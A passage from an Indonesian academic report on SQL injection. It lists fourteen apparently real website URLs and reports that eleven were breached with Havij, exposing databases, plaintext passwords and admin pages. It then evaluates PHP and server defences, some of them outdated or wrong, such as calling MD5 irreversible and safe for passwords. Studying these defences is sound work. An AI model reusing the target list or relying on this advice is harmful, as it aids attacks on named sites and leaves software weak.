93 4 http://www.ac - psych.org/inde x.php?id=1 5 http://www.ol dvictheatre.co m/whatson.ph p?id=63 6 http://www.nu uo.com/produ ct.php?id=12 7 http://www.co ppercraft.com/ product.php?p roduct=12 8 http://www.lc oastpress.com/ journal.php?id =6 9 http://itsretha. com/_lookboo k- newcollection. php?id=144 10 http://puzzlespot.co.cc/pro duk.tampilan. php?produkid =1 11 http://www.hp ol.org/transcri pt.php?id=72 12 http://www.ru mahoutlet.co m/index.php? main_page=pr oduct_info&c Path=2_26&p roducts_id=31 28&zenid=76 765bfde63b75 9a892f901de0 732437 13 http://www.gl odokshop.com /detail_katego

94 ri.php?kat1= MTI 14 http://www.cit ra.net.id/servic e_detail.php?i d=12 Keterangan tabel : SQLi dapat dilakukan serangan SQL Injection pada web. SQLi tidak dapat dilakukan serangan SQL Injection pada web. Database nama database pada web berhasil didapatkan. Database nama database pada web gagal didapatkan. Tabel nama tabel pada web berhasil didapatkan. Tabel nama tabel pada web gagal didapatkan. Kolom nama kolom pada web berhasil didapatkan. Kolom nama kolom pada web gagal didapatkan. Data data pada web berhasil didapatkan. Data data pada web gagal didapatkan. Enkripsi data password yang didapatkan terenkripsi. Enkripsi data password yang didapatkan tidak terenkripsi. Administrator/Halaman Administrator URL halaman administrator berhasil didapatkan. Administrator/Halaman Administrator URL halaman administrator gagal didapatkan.

95 4.4.1.1 Keberhasilan Serangan Pada berbagai web yang telah dilampirkan pada tabel diatas, terdapat 11 web yang berhasil dilakukan serangan SQL Injection. Namun dari beberapa keberhasilan serangan tersebut, dapat dikelompokkan menjadi beberapa hasil keberhasilan serangan. web pertama, web kedua, web keempat, web kelima, web keenam dan web kesebelas : SQL Injection dapat dilakukan, database, tabel, kolom dan data berhasil didapatkan. Selain itu data password tidak terenkripsi, tetapi halaman login administrator tidak didapatkan. Pada hasil seperti ini dapat disimpulkan bahwa pada penamaan database, tabel, kolom dan data menggunakan kata kata yang sudah umum dan terdapat pada library Havij. Tetapi halaman login administrator tidak bisa didapatkan karena kemungkinan halaman login administrator sudah disembunyikan oleh pemilik web, menggunakan kata kata yang tidak umum digunakan sebagai nama file halaman login administrator, atau halaman administrator dimasukkan ke dalam folder folder tertentu dan menggunakan kata kata yang tidak umum. web ketiga, dan web ketujuh : SQL Injection dapat dilakukan, database, tabel dan kolom berhasil didapatkan. Namun datanya kosong dan halaman login administrator tidak didapatkan. Pada hasil seperti ini dapat disimpulkan bahwa pada penamaan database, tabel dan kolom menggunakan kata kata yang sudah umum dan terdapat pada library Havij. Sedangkan datanya tidak bisa didapatkan karena kemungkinan isi database pada tabel tersebut datanya tidak ada atau datanya sudah

96 terenkripsi sehingga tidak bisa terbaca oleh library Havij. Selain itu halaman login administrator tidak bisa didapatkan karena kemungkinan halaman login administrator sudah disembunyikan oleh pemilik web, menggunakan kata kata yang tidak umum digunakan sebagai nama file halaman login administrator, atau halaman administrator dimasukkan ke dalam folder folder tertentu dan menggunakan kata kata yang tidak umum. web kedelapan : SQL Injection dapat dilakukan, database, tabel, kolom dan data berhasil didapatkan. Tetapi data password yang didapatkan sudah terenkripsi dan halaman login administrator tidak bisa didapatkan. Pada hasil seperti ini dapat disimpulkan bahwa pada penamaan database, tabel, kolom dan data menggunakan kata kata yang sudah umum dan terdapat pada library Havij. Tetapi data password yang terdapat pada halaman web tersebut sudah dienkripsi menggunakan algoritma tertentu. Sedangkan halaman login administrator tidak bisa didapatkan karena kemungkinan halaman login administrator sudah disembunyikan oleh pemilik web, menggunakan kata kata yang tidak umum digunakan sebagai nama file halaman login administrator, atau halaman administrator dimasukkan ke dalam folder folder tertentu dan menggunakan kata kata yang tidak umum. web kesembilan dan web kesepuluh : SQL Injection dapat dilakukan, database, tabel, kolom, data dan halaman login administrator berhasil didapatkan. Pada hasil seperti ini dapat disimpulkan bahwa pada penamaan database, tabel, kolom, data dan penamaan file

pada halaman login administrator menggunakan kata kata yang sudah umum dan terdapat pada library Havij. 97 4.4.1.2 Kegagalan Serangan Pada berbagai web yang telah dilampirkan pada tabel diatas, terdapat 3 web yang gagal dilakukan serangan SQL Injection. Hasil evaluasi kegagalan serangan SQL Injection terdapat pada contoh web keduabelas, web ketigabelas dan web keempatbelas yang memiliki tipe kegagalan karena kemungkinan pada penamaan database, tabel, kolom, data dan halaman login administrator tidak menggunakan kata kata yang umum dan tidak terdapat pada library Havij, atau URL pada web target tidak vulnerable karena setelah karakter = bukan angka yang langsung mengarah ke database web target tersebut. 4.4.2 Evaluasi Hasil Konfigurasi Pencegahan SQL Injection pada PHP Setelah dilakukan konfigurasi terhadap celah SQL Injection, seperti implementasi pada code PHP dan penyimpanan file, serta implementasi konfigurasi pada server lokal maupun pada server web hosting. Evaluasi hasil implementasi code PHP dan penyimpanan file: Syntax mysql_real_escape_string() Dengan menggunakan syntax mysql_real_escape_string() pada code PHP, maka dilakukan validasi pada text input, sehingga setiap ada karakter pada text input sebuah web akan ditambahkan karakter \ sebelum karakter, sehingga jika user memasukkan input OR = maka string pada database tidak akan bernilai true. Return value Penggunaan return value seperti mysql_num_rows($query_run)==1 hanya akan menerima input sesuai dengan data yang terdapat pada

98 database. Ia akan menolak setiap input yang tidak terdapat pada database, maka jika dilakukan percobaan dengan OR = database akan menganggap perintah tersebut invalid. Penyimpanan halaman administrator Find admin bisa dilakukan dengan menggunakan tools dan menduga letak halaman administrator pada web, karena posisi penyimpanan halaman tersebut sangat umum digunakan, misalnya www.example.com/admin.php. Dengan menyimpan halaman administrator pada folder atau nama yang lebih unik maka dapat mencegah ditemukannya halaman administrator oleh pihak luar. Penggunaan validasi dengan preg_match() dan hash MD5 pada password Fungsi preg_match() digunakan untuk validasi pola password yang harus digunakan, sehingga user harus memasukkan password yang kompleks. penggunaan hash MD5 dengan password yang kompleks harus dilakukan, sehingga jika sewaktu-waktu data berhasil didapatkan password tersebut tidak bisa digunakan oleh peretas karena MD5 merupakan hash satu arah yang tidak bisa di hash balik, dengan didukung tipe password yang kompleks maka akan mencegah peretas dalam mencocokan password dengan layanan MD5 yang tersedia di web, selain itu dikarenakan kompleksitas password maka akan menyulitkan dalam proses percobaan cracking password dengan brute force. Evaluasi hasil implementasi pada server lokal : Penggunaan syntax magic_quotes_gpc pada file php.ini Dengan mengaktifkan magic_quotes_gpc pada file php.ini, maka dilakukan validasi pada text input, sehingga setiap ada karakter pada text input sebuah web akan ditambahkan karakter \ sebelum karakter, sehingga jika user memasukkan input OR = maka string pada database tidak akan bernilai true. Penggunaan display_errors pada file php.ini

99 Dengan menon-aktifkan display_errors yang terdapat pada file php.ini, maka web yang tadinya menampilkan error saat di exploit tidak lagi menampilkan error tersebut sehingga tidak memungkinkan untuk dilakukan injeksi terhadap jumlah tabel. Instalasi mod_security pada linux Dengan melakukan instalasi mod_security pada server lokal yang menggunakan linux, maka web yang tadinya menampilkan error saat di exploit tidak lagi menampilkan error tersebut sehingga tidak memungkinkan untuk dilakukan injeksi terhadap jumlah tabel. Evaluasi hasil implementasi pada server web hosting : Penggunaan magic_quotes_gpc pada file.htaccess Dengan mengaktifkan magic_quotes_gpc pada file.htaccess, maka dilakukan validasi pada text input, sehingga setiap ada karakter pada text input sebuah web akan ditambahkan karakter \ sebelum karakter, sehingga jika user memasukkan input OR = maka string pada database tidak akan bernilai true. Penggunaan display_errors pada file.htaccess Dengan menon-aktifkan display_errors yang terdapat pada file.htaccess, maka web yang tadinya menampilkan error saat di exploit tidak lagi menampilkan error tersebut sehingga tidak memungkinkan untuk dilakukan injeksi terhadap jumlah tabel.